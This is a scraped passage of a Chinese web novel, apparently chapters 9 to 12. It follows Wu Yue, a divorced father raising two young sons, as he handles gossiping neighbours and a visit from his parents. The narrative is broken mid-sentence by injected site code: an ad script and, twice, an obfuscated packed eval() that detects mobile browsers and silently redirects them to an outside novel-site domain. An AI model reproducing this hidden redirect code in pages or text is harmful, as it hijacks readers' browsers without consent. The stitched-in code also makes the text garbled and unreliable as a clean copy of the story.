“爸爸,回到家,我可以吃鸡蛋糕吗?”吴大宝问道。 “当然可以,不过今天吃完明天就没得吃,你自己要想好。”吴跃提前打预防针。 “好。”吴大宝点头。 “爸爸,我想吃糖。”吴小宝举起小手。 “可以,但是睡觉前要好好刷牙,不能再像早上那样耍赖,要不然就会有小虫子在你牙齿上挖洞。” 吴小宝赶紧捂住嘴,含糊不清回答:“好吧。” 父子仨很快回到了七号院,没进大门吴跃就听见院里的喧哗声。 “吴跃回来了?”有人看到吴跃,连忙给让路。 “林同志过来找你们父子仨,都等了半下午了。”有人跟吴跃解释。 吴跃皱眉,再看到自家客厅坐满了人后更觉烦躁。 他很不喜欢别人侵入他的空间,尤其在没被主人允许的情况下。他没有迁怒别人,要是林巧素没有打开门,别人也进不来。 两个崽子看到林巧素就跑了过去,母子三人在一起的画面看上去很温馨。 “各位大娘婶子,大家请回吧,厂里下班了,大家也该回家准备晚饭了。”吴跃表情平淡,愣是让一众妇女没敢说什么,直接走出了七号院。 等人都离开,吴跃拿出鸡蛋糕让俩崽出去分着吃。 看他们欢呼着走出去,吴跃这才关上堂屋门,转身看向林巧素:“请你以后不要私自进我家,现在这里和你没关系了,请你尊重一下主人。” “吴跃,我不想和你吵,我只是想要回两个……” “不可能,”吴跃打断她要说的话,“我不会答应!” “不要觉得你娘家比我照顾的好,你回去问问,看他们是怎么对大宝小宝的,你是真不知道自己亲娘和嫂子是啥样人,还是在跟我装糊涂?” “吴跃!你胡说什么?”林巧素不能容忍他诋毁自己的家人。 “胡说?”吴跃定定的看着林巧素,“这么说你什么都不知道?” “之前我只以为你是因为有求于人,在某些方面不得不让步。现在看来你只是蠢笨,还是你觉得他们抢走大宝小宝的衣裳是正常行为?” 林巧素听不懂吴跃在说什么,但是心底有个声音告诉她不能再听下去了。 她绕开吴跃,推开门走了出去。 吴跃停了几步才跟上去,老远就看见林巧素在和两个小孩说话,他没有过去阻止,他说过不会干涉孩子和妈妈亲近,说到便会做到。 “大宝小宝,你们想不想跟妈妈走?”林巧素殷切问道。 俩小孩摇头,那是一秒钟都不带犹豫的。 “跟着妈妈就要住在姥姥家,妗子不好,还偷拿我和哥哥衣裳,改小给林川穿。”吴小宝精准吐槽。 “我也更想和爸爸住,”吴大宝直接明说。 林巧素心里堵得慌,她的两个孩子不要妈妈了。 “对了,妈妈,你上回拿到林家村的那兜鸡蛋,说要让姥娘煮给我们吃的。我和弟弟总共只吃了四个,剩下的能不能给送出来,家里现在一个鸡蛋都没有。”吴大宝一本正经提出请求。 接着又想到什么,“要是能把我们剩下那些衣裳一并送回来,就更好了。” “是啊,妈妈,”吴小宝也说,“爸爸很穷的,花钱还大手大脚,很快我们可能连米汤都喝不上了。” 都这样了,刚才还要买鸡蛋吃呢。 那馒头可实惠多了,吴小宝觉得他爸一点不会过日子。 被两个孩子目不转睛盯着,林巧素脸上闪过一丝难堪。她没有办法再和他们说下去,留了一句“妈妈下次再来看你们”就走了。 落荒而逃。 这一幕被吴跃看在眼里,哭笑不得,不过心里又有点舒坦。 俩宝从来不是针对他,真就是无差别攻击。 10. 第 10 章 林巧素走后,吴跃出去把俩宝领回了家。 他们原本打算从供销社回来就去食堂吃饭,被林巧素这一耽误便没去成。 俩崽子刚才在外面玩土,弄得浑身脏兮兮。想着他们已经提前对付了一口,吴跃便决定先去澡堂,晚饭就去食堂打回家吃。 这一折腾,天色就暗下来了。 晚饭后,吴跃让俩崽出去玩,当是消食,回来正好睡觉。他则开始收拾桌上的碗筷,饭盒,另外他还打算把客厅的家具擦一遍。 吴跃没有洁癖,只是不喜欢别人未经允许闯进他的空间。 还是得尽快把锁头换了啊,吴跃有点后悔,刚才林巧素走之前,他应该让对方先把钥匙还回来的。 他讨厌藕断丝连,各种形式上的。 吴跃刚把饭盒收起来,听见门口有动静,抬头就看见两个小脑袋。 怪可爱的。 “怎么没去玩儿?”吴跃笑着问道。 这有点反常啊,他家俩崽子什么时候不是撒手就没?不会是被林巧素影响了吧? 一时间,吴跃想了很多。 “爸爸,这是我和弟弟留给你的。”吴大宝跑过来把手里捧着的东西塞给吴跃。 嗯?吴越低头就看见了两小块鸡蛋糕。 他总共买了两块鸡蛋糕,这个年代做的各种点心都是简单朴素却扎实,说的再简单点就是压饿。 要不是林巧素当时在这儿,吴跃可能会建议两崽子吃一块,毕竟接着就要吃晚饭。 只是当时的情况,不允许他和俩孩子讨价还价,便索性把两块鸡蛋糕都给了出去,不过糖块就没给了。 而他手里这两小块明显是从两整块上切下来的。 估摸了一下长度宽度,俩崽是把两块鸡蛋糕均匀分成了三份。 吴跃摹地笑了下,捏起一块放进嘴里,偏硬、掉渣、齁甜,完全不合他的口味,但是这都不影响吴跃现在的好心情。 把屋子收拾好,吴跃去外面找俩崽回家睡觉。 走出大门,顺着解放路看过去全是纳凉的人。 一把蒲扇,一张嘴,便是一个晚上。 一般这种时候,老榕树下是大家必争之地。 谁都想来时走时一身轻松,从家带凳子费劲还碍事儿,石凳坐着多舒服啊。 不过,就吴跃这几天的经验,大榕树下好像永远都坐着那几个熟面孔,她们总不可能每天都比别人早到吧。 后来想想便明白了,她们就是一个圈子,虽然明面上不排斥外人进来,但是平常大家都说不到一块去,晚上你硬挤进去坐在里面,是不是也挺尴尬的。 除非有别的圈子集体把位置全占上,打乱先前圈子的构成。 不过,如此一来,干仗就不可避免。 这可不是吴跃危言耸听,家属院之前就发生过类似事情,当时闹得挺大,就连原主这样不关心周边的人都有印象。 现在坐在老榕树下的妇女们,就是干仗胜利的一方。 吴跃倒不觉得这有什么,遇见问题解决问题,人家没说撒泼打滚,也没说在石凳上写个“占”字,就是“友好”切磋一下战斗力,有啥不行的? 左右这类事情公说公有理,婆说婆有理,不干这一仗,恐怕谁来调节都不好使。 吴跃自觉和这些事情没甚关系,直接走过去就行,如果不是听见有人提到“林巧素”的话。 “……真是这样啊,亏我还以为她是个好的,这几天都帮着骂吴老四不是人呐。”陌生女声,语气唏嘘。 “谁不是呢?” 这个声音吴跃倒是认得,是老李媳妇。 “这要不是有人亲眼看见了,谁能想到是林巧素在外头有头?人家胆子还大呢,都领到咱家属院来了,你们说吴老四平时看起来挺厉害的爷们儿,遇到这事咋就蔫了,媳妇把姘头领到他跟前,明摆着嘲笑他鳖儿子呢,他还能一声不吭。” 她说的有趣儿,引得周围人哈哈大笑。 吴·鳖儿子本鳖·跃一点都笑不出来,另外他还有些好奇,她们到底从谁那里知道林巧素带着李新军过来了? 既然有人知道,小说里为何只字未提? 看来,在他不知道的地方,事情又朝着不可预测的地方发展开来了。 “你快小点儿声吧,这要是叫吴老四听见,再到你家掀饭桌去。”老婶在旁边提醒。 “哎呀,那件事我是有点错,他去掀饭桌咱家也不能说啥。这次可不一样,我现在可是在帮吴老四澄清,他该感谢我,要是再来掀桌那他可就是恩将仇报。”老李媳妇理直气壮。 吴跃觉得自己其实不是很需要这种澄清。 其他人也都嘘老李媳妇,调侃她要是能耐,这些话应该当着吴老四面说。 “你们以为我不敢?”老李媳妇不服气,“那你们说要不是我跟你们讲,你们能知道他吴老四才是受委屈的那个?” “人家都说知人知面不知心,我现在都怀疑吴老四之前那些荒唐事都是林巧素搞出来的了?” 这话可说大了,“不会吧?肯定是你想多了。”当即就有人反对。 “咋不会?那你说说吴老四那些事哪件被证实了?”被质疑,老李媳妇急了,“和林巧素离婚后,人家吴老四现在可正干了,按时上下班,教孩子写字,屋里都收拾可干净了。” 这个大家都看在眼里,一时间还真没什么可反驳的。 “现在说这些太早,这才几天,他能一直坚持下去才算呢。”刘招娣冷哼一声。 “那也是。” “吴跃?”老婶看到那站着一个人影,下意识喊出声。 “别瞎吵吵,他怎么可能……”老李媳妇埋怨,话还没落音就听见吴跃应了一声,她连忙改口:“吴四兄弟,真是你啊,快过来坐坐,凉快凉快。” 老李媳妇很是热情。 吴跃觉得自己没有这么好的心理素质。 “不用了李婶子,我出来找俩孩子回家睡觉的,”吴跃拒绝道。 老李媳妇还没开始庆幸,又听他说,“各位婶子嫂子,刚才那些事情以后就别说了,传到俩孩子耳朵里不好。” 要不是考虑到这个,赵春花来找他质问那时候,他啥都说了,等不到现在。 老李媳妇听他这样说,还有些感触,“这个,才知道这事儿,大家就是说个新鲜,听等过段时间就没人说了。” 吴跃可不这样觉得,不久后林巧素就要和李新军结婚,到时候她们恐怕会越说越厉害。 “我觉得还是不说好,说到底这是我的家事。”吴跃笑着说道。 这是威胁,赤裸裸的威胁。 老李媳妇气哼哼的想着,她看向自己的老姐妹们,主要是刘招娣和老婶,其他的都不太靠得住。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我听人家吴跃要求挺合理,这事吧,还真得听当事人的意见。不过让你们这帮老娘们儿管住嘴,我看也难,这样吧,以后少提真名儿,想个代号啥的也行得通哈。”管婶突然跳出来出主意。 然后发现周边过于安静,“咋,咋的了?” “不是,管婶你什么时候来的?”刘招娣都被身边突然冒出来的声音吓了一跳。 管婶这才想起自己暴露了,不过人短气不短,“我什么时候来还用通知你们啊?要是没意见,这件事就这么决定了。” 大家都答应。 吴跃隐晦的看向管婶所在方向,您老人家确定不是自己也想听八卦? “你还站着干啥?不是出来找娃的?”管婶开始撵人。 吴跃:“……” 突然觉得自己这个混子当的不够格,咋还被个小老太太呼之则来挥之则去的? 吴跃这样想着,转身走了,去找俩崽子。 最后,他在七号院东边小树林找到了人,他们正在摸知了。 听到吴跃的声音,吴小宝小跑过来,举着手里的仨知了,“爸爸,你给我炸着吃吧。” “等我掌握了这项本领,第一个就给你炸。”吴跃画大饼。 “好哎!”吴小宝很兴奋。 吴大宝看了一眼弟弟,轻轻叹了一口气。 指望他爸掌握“炸”这项本领,不知道要等到猴年马月去呢。 领俩孩子回家的时候又经过老榕树,他们爷仨走过去的时候,说话声明显降低了八度。要说谈话内容不涉及他家,吴跃一万个不相信。 但是他什么都没说,就走了过去。 回到家给俩娃刷牙,供销社没有儿童牙刷,吴跃便直接买了三支成人用。 刚才吴跃手工把牙刷修剪一下,虽然用着有点不顺手,但比布擦肯定要干净很多。 “爸爸,好了好了,”吴小宝在吴跃怀里扭来扭去。 “好了?你张大嘴巴让我瞅瞅。”吴跃举着牙刷。 “啊”吴小宝尽量张大嘴巴,希望爸爸能够看到,猝不及防牙刷就塞进来了。 上下左右各十来下,吴小宝又开始喊:“好了好了。” “张大嘴巴让我看看。” 吴小宝瞅着牙刷,犹犹豫豫张开嘴。 吴跃检查了一下,“这次真好了,过去漱口吧。” “耶!”吴小宝高兴的跑了过去。 吴大宝也不喜欢刷牙,但是孩子不耍赖乱动,吴跃很快就给他刷好了。 刷完牙,洗脸洗手洗脚,把俩孩子送到床上。 吴跃又这两天换下来的衣裳抱出来,浸水抹胰子准备泡一晚,明天早上再涤出来就行。 往后几天,吴跃继续带着俩孩子上班,他偶尔也会想要来的人咋还没来?不过更多的时候都沉浸在带娃的鸡飞狗跳里。 最近,纺织厂下发通知,道是上级单位即将派人下来视察工作。 这件事情和吴跃他们关系不大,哦,也不是,不管什么时候,上头检查工作,食堂的饭菜都要比平常好些。 对于主要靠食堂填饱肚子的爷仨来说这可是天大好事,上级单位还没来人,倒是他们每天都吃的肚儿滚圆。 这天,吴跃领着俩孩子刚从食堂出来,就听有人喊他,“吴老四,你老家爹娘来了。” 嗯。 啊? 11. 第 11 章 原主的爹娘,吴跃从一开始就做好了会见面的准备。 只是没想到会这么快。 当然,这个快是在他看来,算算时间他和林巧素离婚已经过去了十天,就算消息传得再慢,家里也该知道了。 吴跃还没做出什么反应,俩崽子已经欢呼起来了。 “爷爷奶奶来了?小姑呢小姑呢?” 听得出来他们很亲近小姑,吴跃笑着拍拍他们的小脑袋,“咱们回家看看就知道了。” 吴小宝欢呼一声,走在了最前头。 很快他们就回到了家,刚进院,吴跃就看见堂屋门口站着的三个人。 原主爹娘吴满河刘凤娟,以及他原主妹妹吴萍萍。 某种意义上,原主是专挑他爹娘的优点长的,单看可能没有任何相像的地方,原主相貌出众,只是精致的不符合当下审美,而吴满河刘凤娟看着就是质朴老实人。 但两边放在一起,你一眼就能看出来他就是他们的儿子。 原主视角里,吴父并不是一个存在感很强的家庭成员。 吴母咋呼要强,极护犊子,她的孩子她说啥就是动手都常有,但别人说一嘴那都是不成的。当初她初婚嫁给二婚头的吴父,挨了不少闲话,因此她对自己生的儿子闺女要求非常严格。 也就原主,出生时不足月,打小身体就不好,才得了老母亲几分温柔。 自古慈母多败儿,事实证明,老吴家六个孩子,就原主歪的最厉害。 俩崽子直接冲到爷爷奶奶面前抱大腿卖萌,吴跃也走上前去,“爹,娘。” 吴满河忙着抱孙子,摆手示意自己听见了,连头都不抬。 刘凤娟则是起身看向吴跃。 不夸张的讲,当时吴跃已经做好心理准备,要是刘凤娟动手打他,他怎么都要忍几下再跑为上计。 出乎意料的是凤娟同志出奇的冷静,“还杵在这干啥?快开门让我和你爹你妹进去歇歇,这一路可真磨人。” 突然得到消息说四儿子离婚了,他们不敢耽搁,连忙就往城里赶。从吴家埠到县城的汽车只早上六点钟那一趟,错过了就得等第二天。 他们可等不到明天,就怕这个混小子嫌弃养儿子麻烦,把孩子舍出去了,他们早过来也好早把孙子从林家接回来。 这个担忧到家属院就被打破了,听说这段时间儿子一直领着俩孙子上班,老两口都松了口气。 还好,还好,四儿还没糊涂到不要儿子的地步,如此,其他事情就不那么重要了。 刘凤娟看她家四儿这段时间没瘦,好像还壮了一些,更满意了。 “啊哦哦,”吴跃赶紧取钥匙开门,让座给倒水喝。 刘凤娟没直接坐下,只是打量着屋里,收拾的还挺干净,怀疑的看了一眼吴跃,这能是她好四儿收拾的? 莫不是屋里藏人了吧? 想到这里,她东间瞅瞅,西间瞅瞅,没瞅见人,但还是不放心。 “娘,咋的了?”吴跃被打量的心里发毛。 “没事儿,”刘凤娟摆摆手,“你又没干亏心事儿,娘能咋的?” 吴跃:“……”您这话听着意有所指啊。 “爹娘,你们还没吃饭吧?我这就去食堂给你们打点儿。”吴跃提议道。 刘凤娟当即摆摆手:“不用,打啥啊,你养俩孩子多不容易,咱们在家对付两口就行。” “奶奶,我爸做饭有点不好吃,对付不了。”吴大宝实诚道,他们也就罢了,爷奶很久过来一趟,应该吃些好吃的才对。 他们去乡下,奶奶可是每回都给他们杀鸡吃肉包饺子啥的。 “是啊,是啊,这两天食堂的饭香着呢。”吴小宝也跟着帮腔。 “那上食堂买饭不得用钱用票?哪里有家里做饭省钱,你爸挣那点工资养活你们俩就挺不容易的了,在我们身上浪费啥。”刘凤娟还是不同意。 这次出来的急,他们路上没带干粮,要不然都不用搁四儿这吃晚饭。 听到这里,吴跃心里说不出啥滋味。 “走这么路不嫌累啊,还做什么饭?今儿就吃食堂,你们是过去吃还是我给打回来?” 看到刘凤娟额头上的泛灰的汗迹,吴跃又改变主意,“算了,还是把饭菜打回来吃吧。娘,赶巧今天厂里澡堂开门,你和我爹,还有萍萍要不趁空去洗个澡?” 闻言,刘凤娟和吴萍萍都有些意动,乡下洗澡条件不好,现在虽然是夏天,妇女多数时候也只能拿盆擦擦。 吴满河是没有意见的,只等着媳妇做决定。 吴跃见状,使出杀手锏,“我这个月还剩下几张澡票,你们要不去到下个月也不能用了。” 刘凤娟一听,这咋能行?“洗,去洗,恁好机会咋能不去洗?”她当机立断,立刻去准备换洗衣裳。 同时心里还庆幸着,过来的时候虽然着急但还是收拾了两身衣裳,要不然还真是连衣服都没得换。 跟在最后面的吴萍萍瞥了一眼吴跃,真稀奇,四哥竟然也能注意到那些细节。 吴跃把三人送到澡堂门口,说明情况,交了澡票。 吴满江进去的时候问要不要他领着大宝小宝,吴跃拒绝了,“爹,他俩刚吃过晚饭,先消消食,等晚上我领他们过来洗就好。” “也行。” 送他们进澡堂后,吴跃就回家拿饭盒饭盆馍筐去食堂打饭。 “你们怎么又过来了?”食堂大师傅看见走进门的父子仨,有些疑惑,这仨刚才吃的都走不动道了,虽然那让他很有成就感,但是多厚家底子也禁不起这么造啊,日子不过了? “老姐爹娘和妹子过来看孙子,我给他们打些吃的。”吴跃估摸着三个人的饭量,搭配一荤两素,外加六个馒头,两个白面四个合面。 这两个白面馒头是定量,也就是说纺织厂职工一天最多买两个。 这段时间吴跃领着俩崽子一直吃的杂面馒头,虽然不如白面暄软,但便宜挡饱。他们现在家底子不丰,便只能选择自己担负得起的食物。 真正过上日子,吴跃便发现原主留下的几块钱真的很禁花,他买的很多日用品价格都很便宜,他家也没什么大件必须要添置。 但是,粮票却很不禁用。 幸亏原主先前在食堂预存了二十斤粮票,说起这个和之前林巧素领着俩孩子回娘家还有关系,当时家里没人做饭,原主只能到食堂吃饭,每天来回取钱票,原主觉得麻烦,便听从同事徐志高推荐,开始往食堂存粮票。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13560670|142697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先不评价存粮票这种行为,总之吴跃得到了好处。 原本他并没有想起这事,多亏徐志高的提醒才想起来。 对他来说,这就是天降二十斤粮票。 从那之后吴跃就领着俩孩子在食堂吃饭,他饭量小,看着是一家三口,饭量还比不上其他壮年劳力吃得多。 再加上近来他扭转了不少口碑,食堂的师傅们隐隐会照顾他们一些。 就像这会儿,食堂师傅们听他是招待乡下来的爹娘妹妹,又看他这么舍得,又是红烧肉又是白面馒头,打饭勺拿的很稳当。 吴跃交钱,端着饭盒菜盆,让俩孩子抬着馍筐,慢慢往家走。 一路上不知道吸引了多少目光。 回到家,吴小宝直勾勾盯着盆里的红烧肉。 饿是不可能饿的,他们才吃完饭。 吴跃笑笑,叨一块红烧肉从中间劈开,分别塞到大宝小宝嘴里。 “好啦,你们现在可以出去玩了。” 吴大宝吴小宝也满足了,转身跑出大院儿去玩。 吴跃就坐在当门等爹娘回来,最后索性站到七号院门口等着。 “你搁这儿站着干啥,跟门神似的,我们还能找不到回家的路?”刘凤娟离老远就看到她,赶紧小跑过来,还不忘埋怨。 吴跃上前接了两步,“我站这儿有啥?您才是该慢点儿。” 刘凤娟摆摆手,她腿脚好着呢。 回到家看到桌上的菜,刘凤娟又咋呼,“咋的?你不过了,买这些菜,那钱票放着你自己吃点儿好的补补多好。” 吴跃:“……”都是当娘的劝儿子照顾好孙子,却没想着还有当娘的竟然公然劝儿子疼自己的。 “你们好不容易过来一趟,恰好赶上食堂有这些菜色,当然要叫你们尝尝。等往后没有了,我想买还买不上呢。” 刘凤娟还有话说,就被旁边的吴满河捣了捣胳膊,“孩子都把菜买回来了,你说再多还能给倒回去?再说四儿好不容易想着我们一回……” 闻言,刘凤娟不说话了。 然后她掀开馍筐,看到了两个白面馒头,眼眶“刷”一下就红了。 吴跃有些不知所措,有些不知道怎么应对这种状况。 索性便去给他们收拾住的地方,母女俩住东间,他爹跟他们住西间。 吃完饭,收拾好饭桌。 刘凤娟打发吴萍萍出去找俩孩子,喊了吴跃过来坐,这就是有话要说了。 “你和林巧素是怎么回事儿,俩孩子你们是怎么打算的?” 吴跃便把整件事情解释了一遍,“……大宝小宝都跟着我,以后都由我照顾他们。” 离婚这事已成定局,他们现在说啥都晚了。 “你能顾得过来不?要不让孩子跟我们回村,”刘凤娟忧心忡忡,“这段时间你都瘦多些了,照顾俩孩子还是太辛苦了些。” “娘,爹,”吴跃放松靠在椅背上,“我都这么大了,还没自己干过啥事儿,要是连孩子也推给你们,我就真像林家婶子说的不中用了。” “赵春花还这样说了?你看我下回见着,不撕烂她的嘴。”刘凤娟瞬间不乐意了。 这一瞬间,吴跃的心情却不错。 12. 第 12 章 有时候,有个人无条件站在你身后是一件很幸运的事情。 吴跃上辈子从来没有过这种经历,所以此时此刻他只觉得新奇,也觉得温暖。 可能他说的那些离婚理由在老两口看来都是狗屁,但他们没扯着儿子教训一顿,最关心孙子谁养。 关心孙子最大的原因也不是因为别的,主要担心儿子老了没人照顾。 可见两位老人不是不了解他们的好四儿,他们清楚的知道他懒惰、自私、利己,这次离婚后恐怕没有再婚的可能了,所以他们连儿子的养老问题都考虑到了。 仔细想想,书中提到的原主作死的那些事儿,全都发生在接手工作搬到县城之后。 在乡下爹娘身边那些时候,原主缺点虽然也很明显,却没闯过什么祸事。主要也没机会,刘凤娟同志整天拿着小棍跟在屁股后头跟着,但凡他想坏头儿,一下就能给他捶回去。 原主进城后主打一个逆反,以前爹娘不让干的他干个全乎儿,拿着十几块工资觉得自己多了不起似的,结果散了家,丢了命。 原主的结局和他爹娘有关系,但最关键还是原主自作自受。一个成年人,早该为自己的选择承担后果。 现在听到刘凤娟要替自己出气,吴跃不准备劝她放弃。 “好,娘,你一定要帮我出气,”吴跃打开话匣子告状,“林家忒是可恶,他大妗子抢你俩孙的衣裳,还有,咱家上次给拿的鸡蛋也被林家眛下了,我一个都没吃上。” “就这,我刚上班那会儿,他们还想让我把工资全部上交呢,我还不知道他们什么心思?这要是都给了林巧素,他们沾便宜更方便呗。还有啊……” 吴跃吐槽起林家那叫一个滔滔不绝,听得吴满河耳朵听,忍不住旁边避了避。 刘凤娟本来还挺恼火,被吴跃这么一拱火反而冷静下来了。 “快闭嘴吧,”她用力点着吴跃的额头,“大男人得有几分肚量,你和巧素现在都离婚了,那也算是和平结束,她之前送娘家那些东西也该一笔勾销了。” “你说一个老爷们儿为了几个鸡蛋和前丈母娘家纠缠不清,这要是传出去,人家肯定说你被甩了不甘心。” 在亲娘的逼视下,吴跃不得不点头,表示这事翻篇儿,以后都不提了。 刘凤娟这才满意,然后就开始赶人,“你不是还要带俩孩子去澡堂,快去快去,明天还得上班呢。” 吴跃都没来得及说话就被推出了屋门。 屋里只剩下老两口。 吴满河开始吐槽老妻,“明知道他惯是会顺杆儿往上爬,你竟然还说要去替他出气,瞧瞧再让他说下去,恐怕都得顺到林家收他二十块钱彩礼的拿事儿了。” 刘凤娟瞥了一眼老伴,“你懂啥?我就是试探试探,四儿离个婚像变了人一样,你看这屋子收拾的多干净,我儿子那就是个酱油瓶倒了都不伸手的货儿,指望他扫地擦桌子?” “还有,你瞅没瞅着咱俩孙子小脸那叫白净,这可全都是四儿给收拾的。还主动给咱打菜买馍,咋想咱家四儿都都不到这些事。” 吴满河也听出几分不合常理来,“你啥意思儿?这儿子还能是谁假扮的?” 刘凤娟摆摆手,“是我多想了,这就是咱儿子没跑。”这小心眼子,林家那些事都过去多久了,还记着呢。 “看来是被离婚刺激到了,才有这些变化,也挺好的,挺好的。”刘凤娟说着说着竟然带上了点哭腔,“他上半辈子活得太顺风顺水,早该遇到点挫折磨练磨练。” “也怪咱们以前护太紧,这一不在脸前头他就发飘,经过这次事情,他可算是得着教训了。”吴满河总结。 “你以后也注意点,四儿都多大了,他得自己立起来啊,咱还能管他一辈子?” “嗯,你说的是。” 吴跃原本是想进屋拿换洗衣裳,直接领着俩孩子去澡堂的,没想到正好听见老两口说这些话。 他没有出声,默默转身走出了大门。 洗澡,睡觉。 吴跃原本以为自己会睡不着,实际上睡得比谁都熟,他爹晚上给俩孩子把尿他不知道一点,第二天早上也比俩孩子起得晚。 吴跃洗漱的时候,刘凤娟已经把早饭端到了饭桌上。 大米粥、鸡蛋饼、拌小葱,看着就很有食欲。 果然有爹娘的孩子都是宝,吴跃两辈子第一次这么直观感受到这句话的魔力。 这顿早饭,一家人吃的喷香。 推碗的空当,刘凤娟说道:“我和你爹就是来看看你和大宝小宝,你这里既然没事,我们过会儿就回家。” “怎么这么着急?好不容易来一趟。”吴跃真实不舍。 “家里头正忙,队里玉米还没种完,不回去说不过去。”刘凤娟拒绝,他们这次过来连干粮都没带,怎么好在城里多留? 城里不像乡下,还能出门挖野菜,找野果充饥,这里啥都得用钱买。 看吴跃还想说什么,她摆摆手,“看你什么时候有空带孩子回家看我和你爹,到时候记得捎口信,我让你六弟等着接你。” 他们态度坚决,吴跃也不好再劝。 既然决定走,一家人也不再耽误,这就去路口拦顺风车,就算不走吴家埠也行,但是坐一段就轻省一段。 他们运气不错,等到了临公社一辆驴车,说是昨天送人去市里住了一夜这才回来。两边商量了一下,三个人收两毛钱。 吴跃直接给交上了。 赶车大叔是个爱说话的,扯着吴满河说个不停。突然,刘凤娟喊:“大哥,你在前面停车,等我一会儿,我去给亲戚捎个口信。” 吴满河看向老妻,也跟着说和,赶车大叔没多说什么就同意了。 吴萍萍也想跟着去,被刘凤娟拒绝了,她压低声音:“我去拿回咱家东西,快去快回,你别给我添乱。” 吴萍萍无法,只能在原地等。 刘凤娟回来确实很快,彼时她手里提着一兜鸡蛋,还拿着两件小衣裳。 “亲戚太热情,非要往我手里塞东西,”刘凤娟整整头发,对正在和老伴说话的赶车大叔说道。 “那你们这是实在亲戚,”这年头鸡蛋可金贵。 “可不是。”刘凤娟笑着坐上马车。 赶车大叔继续赶车。 他们刚才经过的就是林家村,林家村最东头,前后左右谁都不邻的就是林巧素家。 刘凤娟来了一趟,赵春花的衣领子被撕扯耷拉在肩膀头上,厨屋筷子散了一地,堂屋里刚拾进门的衣裳也被翻乱掉在地上。 林大嫂坐在屋门口嚎嗓子,“我的娘啊,抢东西了,强盗啊。” “快闭嘴吧,喊什么?”赵春花受不了她号丧,“谁让你眼皮子浅,连孩子的衣裳也抢。” 这一说可不得了,林大嫂恶嚎更大声,“娘,你说这话忒伤人,我不是想让三川穿点好的?说到底还不是您看自己闺女攀上高枝,非纠缠着让她闹离婚,要不然吴家能给我们这么难堪?” 闻言,赵春花恨不得去撕烂她的嘴。 外头动静有些大,一直在屋里的林巧素不得不出来拉架,“嫂子,你这话说的也太难听,这么多年,我可从来没有亏待过你,值得你背后这么编排我。” “瞧小姑这话说的,跟我占了你多少便宜似的。那些东西你可没递到我手里,不都是拿来孝敬爹娘的?那爹娘疼孙子我有什么办法?”林大嫂死猪不怕开水烫。 “你们娘俩可别想拿那些拿捏我,”林大嫂拍拍腚站起身,“娘,你昨天可是答应大江哥仨儿给他们煎鸡蛋吃的,眼瞅着就快晌午了,你快着点吧。” 说完,就出去串门子去了,家里一片狼藉那是一点不管。 赵春花坐在地上抹眼泪,哭闺女命苦,摊上这么个前夫。哭儿子命苦,摊上这么个媳妇。也哭孙子命苦,连个鸡蛋都吃不上。 林巧素看不过去,走过去把她扶起来,“娘,地上凉,您先起来。” “还起来干啥,我干脆死了算了。活这么大年纪,孙子想吃个鸡蛋都拿不出来。”赵春花使着劲儿往地上蹲。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13560671|142697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,你别这样说,要不我去想想办法?”林巧素把事情揽过来。 赵春花心疼的看着闺女,“你能有啥办法?离婚的时候也没揪着吴老四赔点钱。” “我有办法的,你等着吧,我晌午把鸡蛋给你带来。”林巧素说着转身走出了家。 赵春花看闺女出去,赶紧站起身收拾家里。老头子回来要知道这件事,肯定又要发脾气,她得赶在那之前把家里收拾出来。 林家这出闹剧,刘凤娟不知道但能想象得出。 四儿这个媳妇什么都好,就是太听娘家娘的话。往常赵春花劝和,所以她能和四儿过住,现在赵春花劝分,她和四儿就长远不了。 这也是为什么刘凤娟没有一上去就教训儿子,两边都有问题,实在说不上怨谁都一些。 驴车停在岔路口,一家三口下车步行。 “得找个时间让小六把鸡蛋给你四哥送去,那就是嘴馋的,家里没有就拿钱去买,连小宝都看不过去了。”刘凤娟笑着说道。 “过段时间吧,我刚给我哥五块钱,告诉他给我买十块钱布头回来。”吴萍萍说道。 刘凤娟一听就炸了,“死妮子,你这也叫给?你哥身上总共都不能有五块钱,咋给你买十块钱的。” “我哥是啥人您还不知道?会给我讹他钱的机会?我给五块钱要说买三块钱的布还有想头,给五块钱让他买十块钱,他心里肯定骂我神经病,然后理所当然把钱给眛下。”吴萍萍了解他四哥。 刘凤娟想想这确实是她四儿会干出来的事,她理不直气也不壮,“哪有这么说自家哥哥的,他现在工作干得好,俩孩子也照顾的不错,肯定没以前那么抠门,这次没准真给你带三块钱的布头回来。” “娘,”吴萍萍翻着白眼,“你就向着他说话吧。”反正她完全没奢望结婚前能等到她四哥的布。 刘凤娟没反驳,这么多年都习惯了,她就听不了谁说四儿不好。 刚到村头,吴六儿冲出来,“娘,四哥真离婚了?那我能不能去县城住?” “不行,你哥上班还带俩孩子,没空管你,你还不得玩疯喽。”刘凤娟想都不想回答,这还有个想占四儿便宜的,那抠门小子能免费给你提供食宿?可别想那美事儿。 吴六儿哀嚎一声,看到刘凤娟怀里抱着东西了,他忙着去接过来。 “呀,鸡蛋咋给带回来了,四哥吃腻了?” 闻言,吴萍萍“噗嗤”笑出声来,刘凤娟也懒得理这傻小子。 这些事情吴跃都不知道,此时他正在教写字。 